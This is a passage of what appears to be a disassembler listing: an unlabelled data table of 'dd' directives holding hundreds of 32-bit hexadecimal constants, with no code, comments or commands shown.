		dd 0B75AEB63h, 0ED289ACDh, 2E93F589h, 0D2FEBA55h, 592E920Dh
		dd 0CEE914BAh, 22986E96h, 0C25744EAh, 3D6BC59Dh, 0A31F8268h
		dd 2D688AB6h, 0BA4FB727h, 4AF5D223h, 6B6428BBh,	3CAAEC85h
		dd 0E916DD25h, 2DD74B0Eh, 726DCD1Dh, 0A572E94Eh, 1B2C1B23h
		dd 0B2145DA5h, 5B76434Bh, 9B4B3EC8h, 0A1B48A74h, 26E1744Dh
		dd 958E1349h, 497AE0F4h, 3A49A60Bh, 3493EF0h, 0D7FD255Ah
		dd 0A23F6926h, 53EE89EDh, 5477CD25h, 92AC59DAh,	0ECD11EB4h
		dd 6D90D133h, 5120770h,	6E0B35DFh, 267FA4AEh, 0D56D368Ah
		dd 2559872Dh, 7182D31Dh, 58CFA1B1h, 0FAEB9169h,	76A24353h
		dd 121BEEA9h, 721D71A5h, 0DFEC461Ch, 0B7AFFDC5h, 0E6BFF77Fh
		dd 0DFEAF56Fh, 88BBD593h, 45BBBE81h, 0BDF8CF05h, 0E835895Ah
		dd 788B6167h, 59E9224Bh, 9E88D8BAh, 7F06BBE1h, 7DEFD3FFh
		dd 7D74F73Bh, 6DFEB9F5h, 615F7F3Eh, 0DAFBE181h,	33EDF747h
		dd 0FE7B5F86h, 5D057DBEh, 0AC9FB48Ah, 747DAF98h, 0D13DBEECh
		dd 7F7F9BF2h, 857DD8FEh, 0F5EB57ABh, 708A3F35h,	188BF6D8h
		dd 0F9FDFC64h, 0E8BD5EFBh, 8237E8FCh, 0FA3F3D5Fh, 7F0FB71Dh
		dd 95BF468Fh, 0E3C2C68Bh, 0B24DA895h, 0F9FF908Bh, 71DFA2FBh
		dd 0E7FA47BFh, 0FCFB1A1Bh, 257FCE57h, 7233F5A6h, 9EE3FF5Dh
		dd 0D4D6318Bh, 30B9CA3h, 4718B660h, 541D7D7Eh, 7AE17B43h
		dd 3BA4BAE0h, 86E7711Ch, 0B94BAE8Dh, 728F5D9Ah,	7297B87Bh
		dd 0FB58F8Bh, 3AD56C25h, 0E51E761Ch, 0FB801D24h, 0AD3D94FFh
		dd 9D1BA6C2h, 574D99DDh, 6E0B9BC8h, 1DFE7690h, 6552536Ch
		dd 6C0D920Bh, 8D77128Bh, 9AFC8C20h, 1605EDE5h, 0E14B4FF0h
		dd 513E0A5Fh, 0D256EC03h, 4AD7C11Bh, 62F172FBh,	0D7BC090Bh
		dd 992CF81Fh, 8AE7E1DBh, 36868FB0h, 0D8398B77h,	2CBCC61Fh
		dd 7108AC32h, 16FD392Bh, 94339AB8h, 45DE2663h, 0DFEC358Eh
		dd 0E16364B7h, 2D21C653h, 1C428F48h, 38B98138h,	9A300F62h
		dd 0DE4370F7h, 0E662D953h, 45FE5C2Dh, 0A72873A0h, 8A5DC1DFh
		dd 9C6C9453h, 0A7AA50CCh, 3F884F96h, 877A73C5h,	42871750h
		dd 0E30D20B4h, 8EADC0EBh, 457436D8h, 0AF7E07ADh, 9BB91EDCh
		dd 4FDBA7E0h, 0FE12672Fh, 28981491h, 669C64E7h,	7097EF46h
		dd 4130DCC4h, 5B9E7E6Dh, 84986FDCh, 600A1C3Bh, 6E1C3BB3h
		dd 0DA6F53EFh, 0BBD3449Dh, 247B94E0h, 3295955Ah, 0C348E18Dh
		dd 1A456CAAh, 63494F2Bh, 0D3D7520Ch, 0E231BD88h, 4BEF29FFh
		dd 0BB2AA2E0h, 901819FFh, 35C0454Dh, 434771D4h,	80BEFBBCh
		dd 22F822Ch, 9A1A1A02h,	9B28CA6Ch, 806E5B80h, 0E5156E4Bh
		dd 2E26A692h, 2596A4B9h, 96E19AE6h, 9EE42E4Bh, 9BEA5169h
		dd 15A99699h, 0DCFFEA19h, 4665677Bh, 0FFD3F7B3h, 0BF3F79F7h
		dd 733698DFh, 0E79EB3EFh, 9EF9EF9Ch, 0C73EE667h, 663A6D00h
		dd 0F76DB08Dh, 0CEC6F879h, 4D80E5D7h, 351966BBh, 0D46447F9h
		dd 0C32392D5h, 2870DFB6h, 0FDFA09B3h, 9C7CE9C4h, 573EC4C9h
		dd 0E1B65987h, 20625CAAh, 0DB2677F6h, 0B1DA6DE7h, 0D5D1E0CDh
		dd 7587B72Eh, 32ABCF4Ch, 4C74E9DEh, 52DA13E2h, 0E6B58DCEh
		dd 25B6B103h, 5D7D1082h, 2B6D3976h, 0CE7E6EC1h,	0DB588572h
		dd 0CD97049h, 0B4EA7CEDh, 769B749Dh, 0BA4599CCh, 0B116E5DAh
		dd 8EAE93B6h, 76939F67h, 9D7B815Eh, 3398ED2Ch, 0CBB57491h
		dd 0E76E6245h, 0FB3B5303h, 0A799DA6Dh, 36237E57h, 25E1B410h
		dd 0A40A37F8h, 91480C93h, 4978E300h, 1A373D3Dh,	4FAF2BDEh
		dd 323F3FF4h, 828E1C67h, 0FFCC53EFh, 5C292D97h,	6E270EF4h
		dd 6A5372DEh, 6278AB24h, 808CE904h, 3A08CD6h, 0D162AD9h
		dd 0E7AA1187h, 4194381h, 3A008164h, 528FFF28h, 7CA6B57Fh
		dd 0B153A4F3h, 52AC0F24h, 7609D9D1h, 708671B2h,	0B9CEA11h
		dd 0D5D37FD5h, 0D40B8053h, 0ABC78EF3h, 0F73340BFh, 575AA91Dh
		dd 42A63AA6h, 0FF2E529Bh, 0D41A6A10h, 0DD4E3FB8h, 0E9B6F0EFh
		dd 95491ED7h, 8A58697h,	3A00CBFCh, 0E57F3052h, 605FB29Ah
		dd 0DE72ABDBh, 0FDE675B0h, 789F5D4h, 0BD40A529h, 0CB5BE804h
		dd 6B085283h, 9D2E9CAEh, 6A56520Dh, 0CBB0A238h,	1999153h
		dd 0C269EE64h, 4229C668h, 0E4ABE55Bh, 8DD7F12Fh, 934FEBB1h
		dd 5B6A964Ah, 947EF0E9h, 6413F14Bh, 64B43EFAh, 1D281154h
		dd 2DA916FEh, 0CE7B5518h, 0E7293F56h, 0B438972Eh, 1B6B5066h
		dd 87BAC6FEh, 7C031DC2h, 5E68A613h, 7195C16h, 6EE18235h
		dd 0C49AFC1Eh, 4CFF0476h, 0DF4C5A5Fh, 21A26419h, 4260165Eh
		dd 2BFFDC26h, 0FAFBFD9Dh, 7985ECA5h, 50D3F43Bh,	16E99CBBh
		dd 0CD54FAA1h, 0A578CCA6h, 685F52ACh, 0D15DE943h, 0CFF54604h
		dd 0B8D03D66h, 2CF40EBDh, 0F14E340Eh, 0AA30B918h, 666B06A4h
		dd 758773Eh, 0E82450A3h, 4C4AE568h, 7AA357A8h, 0ED72DCF3h
		dd 4F39542Ch, 0DBBE9AFAh, 896D647Fh, 2B74670Eh,	0EEC23828h
		dd 0AFE76E84h, 0C598FF6Eh, 0E786D26Bh, 41B3E1C3h, 0DABA4B95h
		dd 56553346h, 0B1A96AC5h, 0A8340C26h, 0EAA596DAh, 0F0D582BAh
		dd 67DDBC74h, 569DE983h, 6F07B147h, 78CA7F53h, 29A95532h
		dd 0B83578EDh, 0A78494AAh, 0C636D5E7h, 0B22AFA58h, 1CCD1463h
		dd 9A64618h, 0B9D57361h, 0ABF86D2Ah, 645E1465h,	36B319B4h
		dd 0C7B542A6h, 59999B62h, 0CC6568AFh, 0E09694F5h, 4B557BD9h
		dd 0DE8C9D32h, 0A53DE9D7h, 31EA8796h, 1869F934h, 9976BE2h
		dd 8AD4CACCh, 1BDC4E55h, 0FDA8953Eh, 9408C387h,	72009A95h
		dd 17DF5288h, 0B696ACD8h, 0FBCE9A2Ah, 33BD193Bh, 12475849h
		dd 0AE9DD601h, 0A8435C8Eh, 0F98E756Ch, 0BE5B3D4Fh, 1BAFC5B1h
		dd 0E197C54h, 0F6818C2Dh, 75981195h, 19C2D0A5h,	0DB4A983Bh
		dd 0F8A8335Eh, 0D3EA679Fh, 44F032A8h, 0CF0DBB9Bh, 32F677A7h
		dd 812D73A8h, 0B9D48B9Eh, 0B8ED52F6h, 0E4249544h, 9CACB612h
		dd 25591399h, 764C631h
		dd 82D0CF61h, 0A6AC1D1h, 0A0CACC4Dh, 44033FB2h,	31B94A44h
		dd 54B31CEAh, 0E67FCD8Ch, 0BB392811h, 0F5A0C7EDh, 23ED5C38h
		dd 1C4B06CFh, 0A500D0B5h, 9EF6D48Ah, 0A1D637B5h, 162774AFh
		dd 72CBD5A0h, 0BF7FF9AAh, 4FA1CA4Fh, 0D55CBD73h, 0F554F577h
		dd 0C08AAC72h, 69ADA4CEh, 0CA5A9667h, 0D68B9260h, 32E9E686h
		dd 0D42B10EDh, 6A71B7A1h, 4F9F5A6Fh, 5CB069ABh,	985AA31Dh
		dd 0AAB90366h, 0ABA86636h, 0EBFC013Bh, 168BEB5Fh, 43EAD857h
		dd 93C6DA86h, 0A19F25FAh, 0DC5C86CDh, 0D48AF35Eh, 6E6A45F2h
		dd 0D255C708h, 0C5AC74ECh, 0E799299Fh, 5B47BAFFh, 517A554Bh
		dd 0AAAC6156h, 0B0CF4589h, 0AE6CDD0Ah, 0D351D159h, 0C58F382Fh
		dd 0EBB63082h, 0A64860ADh, 33FF1ADDh, 3FD3AC3Eh, 8B574ED4h
		dd 0B1B6CA07h, 0A38F5B1Bh, 59B3C9ADh, 68313C05h, 7502CAD2h
		dd 0A2DAACBDh, 8EA992B5h, 1564D325h, 0FBDA6DB6h, 9ABA6738h
		dd 0D96DF16Dh, 6AD982B0h, 95F70D29h, 6032Fh, 2D57CC0Fh
		dd 0CEB2DF2Fh, 9D27198Eh, 0A21CBCBFh, 0F98FCD5Eh, 0D587B1A9h
		dd 0BB6380Bh, 8480C127h, 0F607C113h, 0B35D7151h, 60F3846h
		dd 7DD72AAEh, 0E6D41D54h, 7CD4CCA3h, 47A1C83Dh,	98C684B3h
		dd 1751CAB0h, 64EC0B35h, 0BECCA3E3h, 0D37549E6h, 98E50955h
		dd 0A55468E4h, 8ED8D66Fh, 0FF30590Eh, 6DDC5693h, 613C36FCh
		dd 7CB67AAAh, 0E3691E93h, 4AB26D6Dh, 0D41B1DABh, 34F350F8h
		dd 6ACF6F1Ah, 0EC3D0380h, 0A5ADA67Ch, 38E31C37h, 0AA0CB8D3h
		dd 87199995h, 0FACC4F59h, 1742D9A5h, 0D6C25EA7h, 0B5A52B5Fh
		dd 1D48A2C8h, 5CFB369Bh, 0EF6C7575h, 2D77C315h,	0D214AA91h
		dd 558DD8EDh, 2BB0CE66h, 9E0354CBh, 92E135E4h, 0ABE5422Dh
		dd 0F4B0CFF3h, 7334DC3Dh, 4CB26D0Dh, 0CEA05628h, 2DDA1D39h
		dd 0A39BD069h, 47E436C5h, 7D91761Eh, 6093E643h,	7AD4FDDAh
		dd 795933CEh, 69471D91h, 52AB996Ch, 0CD4AD142h,	99AA6793h
		dd 705FEC39h, 0DB2A915Eh, 0D387930Ch, 0D16054C6h, 447BA790h
		dd 0ADA8BFFFh, 0C59F96E9h, 9216692Bh, 9996AEA7h, 0EF522863h
		dd 0F2CEC4EAh, 1506CFD5h, 0AC2D0AF3h, 1A5FECC7h, 1D9E5D5Ah
		dd 951B399Eh, 5F303FBDh, 1CC9C7B5h, 7B580ED3h, 3A7C8B13h
		dd 53E79A8Ah, 5337CEACh, 0AA33F3DDh, 0C4F36C23h, 74AED811h
		dd 5F808D43h, 91FBAA4Eh, 98C66CCAh, 431EC474h, 0DECAA0Dh
		dd 0CB6A6E16h, 0C5432CFh, 9821302Ch, 2D9B66BDh,	2DDBACCDh
		dd 0C8AF8E9Dh, 0E5CC0101h, 69F84DFDh, 499E439Eh, 0EA2A0C07h
		dd 0C2A9516Ah, 0EBD423EBh, 0CA5395E6h, 34CCA32Ah, 0A4E9A1F5h
		dd 6254AC63h, 0D8D58BDAh, 0F1DFA6ABh, 2DD236A6h, 0A68CA1B9h
		dd 0D04F45FBh, 0B591FB09h, 0E539C871h, 0BE0A664Ch, 0B441B08Dh
		dd 8CF6D520h, 95B12C26h, 0B98259BDh, 38971A2Ah,	199C1DACh
		dd 0CC46C365h, 61346468h, 0DB173686h, 5B5158D1h, 74AD8719h
		dd 6516721Bh, 0EADED9CFh, 58B02D6Dh, 0BB65E6CDh, 26C4DD97h
		dd 25966F73h, 7FA332AAh, 303D8713h, 0E3EBBDBh, 372CD352h
		dd 2297D540h, 808DCE13h, 979746F7h, 0AB176D4Dh,	8EAD92B8h
		dd 5F6599A0h, 86EB3AC6h, 53FFB751h, 3AB87D6Ch, 4DDC6507h
		dd 0ED9FAE9Ch, 3DF286CEh, 0EB156F74h, 5419EFEDh, 0A5AB28B9h
		dd 0EA8041E0h, 0ACF7ACEDh, 7AE8A2A8h, 0E006C589h, 0AD282BECh
		dd 0C4CB2FC8h, 11D4024Eh, 2972AA64h, 18C6A0B2h,	0EFEEAF07h
		dd 3615CB4h, 64670DAFh,	62D392A9h, 68D5B34Dh, 33D9A37Ch
		dd 0C9806AE8h, 0AFEBDB6Bh, 6CD34F2Dh, 0D1D3B9B0h, 663147D8h
		dd 0CF16C4Bh, 2E7BAD65h, 6936763Eh, 0ECADE865h,	1A8AADF6h
		dd 0B6737364h, 0EB2C2DB6h, 5350E456h, 26E91CE3h, 0EBE6573Ch
		dd 2CE2C267h, 0A51D6728h, 36F08F2Dh, 1473095h, 0FBFEAAD9h
		dd 0D66AAE58h, 19D6A198h, 9AFBE365h, 0A151203Ah, 6B346AC9h
		dd 1F2A73F7h, 0D158D8DBh, 0F75512D2h, 23B0EB9Dh, 0DBAD5A1Eh
		dd 0C9F761DFh, 3619498Ch, 84F7E6B8h, 65559A52h,	568CF3ABh
		dd 0E1DA67CBh, 269304FEh, 0D3DD6638h, 7A3D9AD8h, 0EA6249C1h
		dd 114D73A8h, 9B6AAE63h, 636B40A3h, 9141B4ECh, 0C55AB6ACh
		dd 0E562AFB0h, 0ED346CCh, 4F25A661h, 30B70E0h, 0F311FAB5h
		dd 4C75867Eh, 1B46FE9Dh, 0BECBCCF6h, 0C616D69Dh, 0E665F66Eh
		dd 1D96C9CFh, 0DC0F6D11h, 0EDAD43AAh, 7AD7D8CAh, 6A269D52h
		dd 82DE3734h, 6F63F67Ch, 0A59BB76Dh, 9B14D4EDh,	1FB34CE2h
		dd 34B257C8h, 0A1AC4D9h, 2975FE1Ah, 9D4D0538h, 356E39A9h
		dd 0B502FD73h, 601B97EFh, 97E493C2h, 0F95B8EADh, 1BA0E41Bh
		dd 7ED8CF99h, 1231BFBBh, 3C55AC7Bh, 0A6B09C36h,	562864EEh
		dd 22B7B1A5h, 67B75F13h, 0CB542D12h, 5B78B7B4h,	0DF50633Fh
		dd 0C6DD259Bh, 3A7B3FE2h, 368DA48Dh, 0CB08E6B1h, 0BB2B707Eh
		dd 2CADCE5Ah, 580FB4CBh, 0A5A68EA8h, 0D5A8F45Dh, 5665F473h
		dd 0A4E01A6Fh, 0E862DBCh, 0D037CD37h, 4D833949h, 0D16D62E4h
		dd 1328C959h, 68C73313h, 4E56AD5Ah, 735C364Ah, 0D5D3CACDh
		dd 0E70117D1h, 21A35E75h, 0B2D7D9FEh, 4F56937Ah, 9DFDAD99h
		dd 1437D544h, 0D63A1683h, 0B2BD5708h, 16194BA2h, 0AC88EBCEh
		dd 537B4E2Eh, 0EEED8A38h, 5B48FD82h, 4F7758DAh,	0A36DD6D5h
		dd 1A3EC748h, 0B5348F96h, 685FBB6Bh, 6BB6F31Bh,	0B4A1BE50h
		dd 86E3E3EDh, 0FFCD9EBBh, 68EDB6A2h, 0ACA2FE83h, 4E45EB86h
		dd 0A9E83E70h, 305A5032h, 684E3DBh, 41A2DF68h, 0B4FB474Dh
		dd 0B8675FB7h, 86F2639Eh, 24EC0DD9h, 52D109F0h,	0ADE2C9BAh
		dd 0FD44D296h, 5D5D2376h, 0FE0E11D9h, 2346F95Ah, 34FFE2C9h
		dd 0DB2E60C6h, 0ADED0ED2h, 89225173h, 2E4A350Ch, 0C6FBC3B1h
		dd 4D8B54AAh, 43E0AA58h, 93BCC24h, 583F5858h, 0C8E45B2Bh
		dd 90DF7D37h, 18D3DA6Eh, 0CDBB8A6Bh, 72F6D87Bh,	0A9AC53h
		dd 8768D4B4h, 0CAFDD6C9h, 0B6EF6AE1h, 9E2DEF3Bh, 2A9642DAh
		dd 2555CE7h, 1B1D4B4Ah,	58722E94h, 0F3E967A7h, 0F922DFC9h
		dd 62DF7E9Bh, 0A631E3D6h, 0B4DD20B8h, 0B61ADABEh, 90CECA7Ah
		dd 2DCD1AF3h, 28F3509Ch, 8AF80D05h, 5A0B2FEDh, 2C97D53Bh
		dd 98167D8Bh, 0E3ADB25Ah, 69E3C4EBh, 0C270B6Bh,	48B9565Ah
		dd 0BA456DB5h, 0B68C979Ah, 0FA8369D1h, 0BFB5B09Dh, 9E1AA762h
		dd 9A6380DDh, 51F72E33h, 0EFE35535h, 1A9BF0B9h,	0BF0DCFFBh
		dd 0D8363271h, 0B7F27AA7h, 0BE0D9941h, 57E56C3h, 0DD6CC5A4h
		dd 0FF2EBB2Ch, 0F37FDB5Ch, 15E3BF05h, 784DBC94h, 8780DC6Bh
		dd 3C78B1E3h, 0C20F829Eh, 0F891F133h, 3E127C58h, 2F8D9F1Dh
		dd 0EFE057C1h, 5EF855E3h, 88DE28FCh, 21B44A68h,	0C124117Ah
		dd 46190290h, 64319246h, 0A648991Ch, 23488390h,	278E4459h
		dd 0C93390A7h, 722DF20Ah, 0BC97B90Bh, 0EF255E4Ch, 37490F90h
		dd 466A97CAh, 5266A2B5h, 54DDA90Bh, 0FA85750Dh,	0F28B7537h
		dd 0B6E8FDA4h, 9A3D2C74h, 0A12F409Eh, 98E799FDh, 6674CC5Eh
		dd 998A7337h, 0DECDBECFh, 9E2E4966h, 0E08DC21Bh, 0DC657346h
		dd 6E4DEE3Ch, 0ADC95709h, 0DB70B6E3h, 49DCC3B9h, 99771CEEh
		dd 0E4DDCABBh, 0B8EAE17Eh, 1F179CC7h, 0BBE5B7C0h, 0D5F8BDF1h
		dd 1DFC0FFCh, 11FE77FEh, 0AF82EEFh, 0A11B4201h,	0F42C1083h
		dd 16412812h, 0C22909FAh, 6086428Bh, 71850A14h,	866114C2h
		dd 2F984F30h, 14AC2DBCh, 81F0BD6h, 8E2918A2h, 85C5F310h
		dd 8F7176E2h, 2D3C5C78h, 4B9B12DEh, 45261241h, 0B152714Bh
		dd 58F486F4h, 0E40391F2h
		dd 0BCA472F6h, 2B2A3E4Dh, 0A49DFC3Fh, 8D6B4EE6h, 217A47B4h
		dd 522E4869h, 0DC459C8Dh, 296896D0h, 31A500BAh,	0FAC28B11h
		dd 41B1FD62h, 0C70C4ED8h, 0F1EBE37Bh, 0E219C4BDh, 0B88B713Ah
		dd 9E13D44Bh, 2DB21364h, 49EC8DD9h, 19146412h, 4B51A54Eh
		dd 19F4A3A9h, 645E659Ah, 33214C8Ch, 6CC55986h, 3F33AE66h
		dd 27ACAE32h, 0C16D94DBh, 0B33B65B6h, 0CB18B3CFh, 1F6C61B2h
		dd 0C01D9E36h, 0EC99B1A6h, 9D84B648h, 0DF62CEC2h, 2EB08F64h
		dd 9FD72F9Ch, 0E24DC31Bh, 0B87371A6h, 0DCC5B837h, 0B72D6E0Ah
		dd 76E2AB99h, 0A3B9FB73h, 81770D5Ch, 0F1C7E42Bh, 7E2AF94Bh
		dd 3F8FBF37h, 0CFE29FCCh, 1D7CB5F3h, 0A9426EFh,	205985D3h
		dd 0B1610A91h, 14A84CB0h, 365480D6h, 1D845B09h,	5AA11EC2h
		dd 111C2838h, 0C2350B8Eh, 50A2E159h, 6E135C2Bh,	3B84B708h
		dd 4EA17DC2h, 445C17A8h, 0FA29E8BDh, 0A0627E8Ah, 120C4AD8h
		dd 3167620Dh, 11110C58h, 51191091h, 0B240C310h,	989C6231h
		dd 0A988A628h, 4C389A62h, 0C47312CCh, 2C50B15Ch, 938BC711h
		dd 0BA7152C4h, 10AC4B38h, 0C58B8817h, 0B8A56265h, 6E2F5C46h
		dd 1DC4AB11h, 0E2D50EB0h, 0AC08F141h, 56788D46h, 165E28BCh
		dd 0E26BC56Bh, 788EF10Dh, 0EB13AC5Fh, 2F491745h, 92BE4A79h
		dd 0B528149Fh, 4832B582h, 2960A59Dh, 42244244h,	0A412462h
		dd 0ED606293h, 2914A512h, 86934A55h, 0AE523949h, 48952854h
		dd 5249A5E3h, 9A5D34A9h, 2A93CD25h, 62D205A4h, 29549969h
		dd 4BD691ADh, 522DA49Bh, 0DA43B495h, 74B5523h, 71D223A5h
		dd 2B3A46A9h, 0A56A945Dh, 0E90DD26Bh, 0BA477496h, 0F549D52Fh
		dd 97AC8B92h, 0D95F653Dh, 5B940E4Fh, 41B241C9h,	0CB072CEEh
		dd 13223221h, 720B2332h, 8C496818h, 0CA27271Ch,	9CAA7229h
		dd 73930F26h, 50B95CE4h, 0CBC7912Eh, 7952E493h,	9E4B3CBAh
		dd 0BC85727h, 32F2C5E4h, 235E52B9h, 0C93797AFh,	792AE45Bh
		dd 0AE47BC87h, 47CA0F96h, 8D72E3E4h, 28BE567Ch,	0E56B965Fh
		dd 0F90DF26Bh, 0BE477C96h, 0F5C9D72Fh, 5443F2B2h, 172B6CE5h
		dd 22788F44h, 121F88BEh, 8242B488h, 8C120310h, 42082084h
		dd 86120C20h, 48312244h, 0A488921Ch, 30C8A920h,	1C90B24h
		dd 4A442D0Dh, 24C8F190h, 859914A4h, 902A43CCh, 6462C805h
		dd 0AC895219h, 9B23D641h, 15482D90h, 3D903B2h, 39107C7Ah
		dd 6A471C82h, 222F9F40h, 0E45A9197h, 0B903721Ah, 0EE41DC85h
		dd 3D487523h, 51EA82E2h, 0F517D44Fh, 56D10343h,	406A1068h
		dd 1410D183h, 41940941h, 8D0C3405h, 38D06344h, 414D1134h
		dd 7434D153h, 0E6859A18h, 2168B9A0h, 478E825Ah,	4C758127h
		dd 0F3A16747h, 92B00AD0h, 0B432E8C5h, 0AE835D12h, 5BA13747h
		dd 7742AD0h, 46AD07BAh,	0D047A20Fh, 7A0D68E3h, 0D68CBD11h
		dd 1BD0D7A2h, 0EF42DE8h, 0A3D6875Ah, 0F31E982Eh, 3F317CC4h
		dd 856B102Ch, 0AC066105h, 858C1633h, 60C60860h,	45861602h
		dd 1C583162h, 60A58896h, 361A58A9h, 72C2CB0Ch, 10AC5CB0h
		dd 63C6C12Bh, 6C52B093h, 0AB0B363Ah, 8B6016C0h,	255865B1h
		dd 8F5B06B6h, 0B0AAC16Dh, 0AC1ED81Dh, 1D883B1Ah, 35638EC1h
		dd 22EC59D8h, 0C5AB1976h, 0B03761AEh, 0EC1DD85Bh, 0D587563Eh
		dd 1EB82E63h, 717DC4F7h, 6F103C3Fh, 5E010785h, 3821E306h
		dd 83381382h, 1E18780Bh, 71E0C789h, 67E02278h, 0F869E2Ah
		dd 1CF0B3C3h, 0C42F173Ch, 80F1F04Bh, 0A580A5A4h, 7879F0B3h
		dd 5F00BE05h, 2BC32F8Ch, 78035F1h, 7757005Bh, 6AF07BE0h
		dd 47E20FCh, 0E0D78E3Fh, 0F88BF167h, 0BF16BC65h, 6FC0DF86h
		dd 0FBF077E1h, 8F5E1D78h, 84CC43C3h, 0F84BE127h, 2B448111h
		dd 10308822h, 2260899Dh, 82084084h, 8810860h, 18892223h
		dd 24488E22h, 62548852h, 0E4459118h, 2144B910h,	278C4251h
		dd 0C4E9894Ah, 511E622Ch, 16202C41h, 4A88CB13h,	9EB10D62h
		dd 216C44D8h, 441D88AAh, 38907135h, 6A271C42h, 45C4B388h
		dd 4B5132E2h, 6E235Ch, 0EE21DD42h, 52807513h, 0F49EA42Eh
		dd 3F497D24h, 441915B2h, 64CEC81Ah, 22421930h, 4FFC4364h
		dd 61C8D325h, 43991664h, 648592E6h, 49827809h, 9D392964h
		dd 3CE459Ch, 5C80B07Fh,	2B232E4Ch, 7AE435C9h, 0E4550CF0h
		dd 590F720Eh, 8F241E4Dh, 1AC9C790h, 11792CF2h, 792D457Ch
		dd 0FE05BC83h, 47593EE2h, 0CA7A50BAh, 1F86BC13h, 237E0815h
		dd 9D503288h, 842A60A9h, 62822842h, 0A30A8128h,	2A18A922h
		dd 52A44A8Eh, 51873701h, 550E5459h, 0E3509548h,	3A6A52A9h
		dd 479A8B35h, 2D0C5055h, 247461D0h, 0D1C7431Dh,	0BD0A7489h
		dd 37483E81h, 81309A62h, 33A63B4Ch, 81799FD3h, 32D4CAD9h
		dd 0DD9458DDh, 34036FC8h, 0C9FFC43Ch, 0AC67C0EBh, 5109B617h
		dd 0A900BFE2h, 0C597C44Ah, 710AE225h, 1A46D897h, 9C048D22h
		dd 3AF2798h, 0D608BCBBh, 577CA3F8h, 50FC1ED6h, 5E239DF3h
		dd 3BA42748h, 89020178h, 33210642h, 43DEB6C1h, 83F6443Eh
		dd 3C40DD15h, 28686ED1h, 741CFFE8h, 0FD087A2Fh,	0CD61D51Dh
		dd 7B58D6B0h, 4022C78Ch, 74B1E35Bh, 1B6C65ECh, 833B0C76h
		dd 601EC3DDh, 785EF1ADh, 0B410BE11h, 15F117A3h,	240E4111h
		dd 52DF9297h, 4640E9E3h, 3DB03A62h, 663E33C0h, 0FE04B94Bh
		dd 0F817F20h, 12014E12h, 0C56D8ABBh, 0B140E2BEh, 6A289C58h
		dd 392B5D0Fh, 2FA471E7h, 0E8DBFED8h, 20F5E85Ah,	0E96C1A7Ah
		dd 5AC7AA26h, 0CFA11D60h, 0B7F34117h, 0B7412760h, 71EDE09Bh
		dd 0B4117F1Eh, 1AF13265h, 324F4768h, 0F543EC9Ch, 26A45EA3h
		dd 66A81752h, 0D0F04B74h, 5D1E7409h, 67A14F4Ch,	66F415D0h
		dd 807D2B7Ah, 0A45F4A3Eh, 0D23FD3AFh, 8DA2400Fh, 3BA62099h
		dd 2628EEF8h, 0E6672983h, 9D98CB31h, 0C5E0A7CCh, 0E5BF03BFh
		dd 0B78106CBh, 7604D992h, 9D993B30h, 1FB256C6h,	0CA2CF5B3h
		dd 6E3F5CD1h, 2B923710h, 0AF82C6E4h, 0C6BDCD9Ah, 0ABD6E22Dh
		dd 0F8BDCBEh, 0CBE45FE4h, 137E4AF8h, 4FF55DBFh,	782A4231h
		dd 7EC285EAh, 58F0B4E1h, 24FE0A68h, 0BE209C4Eh,	5272AB0Ah
		dd 0A6C53FCh, 4D289F28h, 57BCEF06h, 93DD293Ah, 501964DCh
		dd 92AC2077h, 153BA892h, 6032F0E4h, 10E452DDh, 0CB500E72h
		dd 9285ED03h, 0E84512B0h, 0A5A04054h, 4F43AE8h,	3EA03FAh
		dd 0EB78A1EBh, 61F3604Bh, 1F3E3478h, 7C03F3ECh,	2C09DE27h
		dd 46BA96ACh, 72B600DDh, 0D54FBA87h, 0B94F551h,	693DA7ADh
		dd 812EE05Fh, 40DA2B74h, 0E983A677h, 9A11A10h, 0A5BEA1BAh
		dd 30F469D2h, 0A1CE8B3Ah, 7A42E973h, 2E893D3Ch,	0B3D3A7A5h
		dd 0C33479E8h, 13184C08h, 7130C4C9h, 0C293224Ch, 0CC6932A4h
		dd 0C98B2630h, 0EFC17261h, 3126678Fh, 6684C0A5h, 982B2C81h
		dd 9062CC05h, 86B32568h, 626CCF59h, 0CC5530B6h,	530F660Eh
		dd 8E641CCDh, 0FB987730h, 0CF531D4Ch, 0F03F00B8h, 40D8FD65h
		dd 0DBC815B6h, 21B306C0h, 2C12C22Ch, 14C00AC3h,	3E04F962h
		dd 0C7E7CF93h, 79F893F2h, 397E02FCh, 9F7F9EBFh,	0CB3F9CFFh
		dd 604811B7h, 0DB85273Fh, 0ECF80782h, 83CFF030h, 0C8F074C4h
		dd 0E263C433h, 5E979163h, 1F482690h, 91A40749h,	9E301972h
		dd 37F7A063h, 0A0649FE4h, 0FCB3EAA9h, 0F822F224h, 4BC0778Eh
		dd 0D0CF075Ch, 47408D06h, 6DB03BA2h, 4BE221C4h,	88A21BE2h
		dd 21CE469Ch, 909F9037h, 3342C12Dh, 0AD4B9A8h, 31EA0BEAh
		dd 5B7201E5h, 0CFA5EF48h
		dd 7AE857D3h, 41219DDAh, 7E614316h, 0FCE781FBh,	9B6534C2h
		dd 4C6838B3h, 0CD823B2Ch, 13D82B63h, 1FAC9FECh,	0DCA97087h
		dd 0DCC7DCFBh, 7714EE5Eh, 0AC06BB9Eh, 8DCE57EFh, 0E39FE3F7h
		dd 0CF38F23Bh, 117CE9F1h, 0C47FCA5Fh, 57DE7EFh,	7212417Fh
		dd 60C0B984h, 84BB0956h, 0B8957102h, 0FF002C57h, 0E3F415BEh
		dd 48B7F004h, 0D9782FB9h, 0B9ED658Fh, 5E3F2526h, 8E83E23Ch
		dd 36832743h, 63BB44ACh, 6D81961Ch, 0BEC03EC0h,	7027E400h
		dd 0E88E7F0Eh, 60C4F048h, 0C469D1C0h, 0E231C4FBh, 0D111E257h
		dd 180E7C9Ch, 46E44BDBh, 8E7914F2h, 0A47549BCh,	0BD236833h
		dd 3B636C1Ah, 0FD06ECCCh, 198FDD3Bh, 8E606CC5h,	9CC3DF33h
		dd 0CD833644h, 9FB36765h, 35B19FB0h, 3BF665ECh,	0C66B8DD6h
		dd 711EE50Dh, 2F03786Dh, 72F97DF3h, 99BF1D7Eh, 17BC7BFh
		dd 3C0F5D5Fh, 4F78A56Bh, 285226Ch, 0E691C987h, 6FA51B4Ah
		dd 3B52DBA5h, 0E4C31460h, 605AF285h, 6FE4BB09h,	1FF27BE4h
		dd 0A280FAB2h, 0D04F073Ah, 0EE27B36Eh, 0DC5F04FCh, 11647C03h
		dd 0DD7C1336h, 8E03AC3Eh, 7DE2CE3h, 0FC14D47Ch,	7C2DFC0Dh
		dd 789F3E39h, 7EEC508Fh, 35E7200Eh, 86D52EEAh, 0F4634EEEh
